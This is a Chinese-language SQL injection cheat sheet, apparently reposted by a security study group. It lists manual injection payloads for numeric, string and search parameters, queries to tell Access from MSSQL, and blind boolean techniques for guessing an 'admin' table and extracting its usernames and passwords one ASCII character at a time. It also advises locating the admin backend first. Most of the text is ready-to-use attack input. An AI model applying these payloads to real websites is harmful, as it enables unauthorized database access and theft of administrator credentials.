我不去想是否能够成功,
既然选择了远方,
便只顾风雨兼程!
手工注入语句详解
数字型:
and 1=1 and 1=2 判断是否存在注入
字符型:
' and '1'='1 ' and '1'='2
搜索型:
关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%
IIS报错情况下使用:
and user>0 (判断是ACCESS还是MSSQL)
不报错则使用各自数据库特性来判断
and (select count(*) from msysobjects)>0 (返回权限不足access数据库)
and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)
and db_name()>0 (返回数据库名)
and 0(select @@version)-- (判断版本信息)
and db_name()>0 (返回数据库名)
**注意:猜解之前先要找到后台地址,不然白忙了**
ACCESS注入:
猜解表名(正常则存在admin,不正常则不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0
猜解字段:(字段username存在则正常,不正常则不存在)
and (Select username from Admin)>0
and exists (select username from [admin])
猜解用户名和密码长度:
and (select top 1 len(username) from Admin)>0
and (select top 1 len(password) from Admin)>0
原 理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成 立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截 取第N位字符,再asc(mid(username,N,1))得到ASCII码.
猜解用户:
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。
注意的是英文和数字的ASCII码在1-128之间
本文由掘安技术小组研究室综合网络整理,图片来源于网络;转载请注明”转自掘安技术小组研究室“,并附上链接。
维权通道(客服中心):
投稿| ※风顺※
照片| ※风顺※
责编| ※许心痕※
编辑| ※风顺※
审核| ※许心痕※
领取专属 10元无门槛券
私享最新 技术干货